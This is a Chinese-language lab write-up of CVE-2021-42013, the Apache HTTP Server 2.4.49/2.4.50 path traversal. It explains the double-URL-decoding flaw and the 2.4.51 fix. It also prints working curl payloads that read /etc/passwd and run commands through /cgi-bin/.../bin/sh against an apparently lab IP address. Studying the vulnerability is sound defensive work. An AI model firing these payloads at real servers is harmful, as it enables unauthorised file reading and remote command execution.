前言
看Apache的2.4.29版本的漏洞理解了,那么这个漏洞也很容易理解。
靶场:CVE-2021-42013
1 靶场介绍
Apache HTTP Server 2.4.50 路径穿越漏洞
Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
该漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。
2 漏洞验证 :路径穿越
-
编译运行后,查看端口
-
访问成功
-
curl命令行发送payload
curl -v --path-as-is http://20.210.90.167:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd url一次解码 curl -v --path-as-is http://20.210.90.167:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd url二次解码 curl -v --path-as-is http://20.210.90.167:8080/icons/../../../../etc/passwd
-
成功读取
/etc/passwd
-
漏洞原理分析
函数原理:Apache使用函数 ap_process_request_internal来处理外部请求,先调用 ap_normalize_path函数对字符串进行一次解码,再调用 ap_unescape_url函数对字符串二次解码过滤。开发为了保险起见,反复解码过滤,但这样反而弄巧成拙,造成二次编码注入。
%32e --> %2e --> . %32 = 2 %2e = .
3 漏洞利用:任意命令执行
-
命令行
curl -v --data "echo;whoami" http://20.210.90.167:8080/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh
-
抓包
4 修复
2.4.51版本中采用了白名单的机制,在ap_normalize_path中加强了对url编码的校验,只允许数字、字母及特定的符号编码,如果是白名单以外的url编码,就直接报错。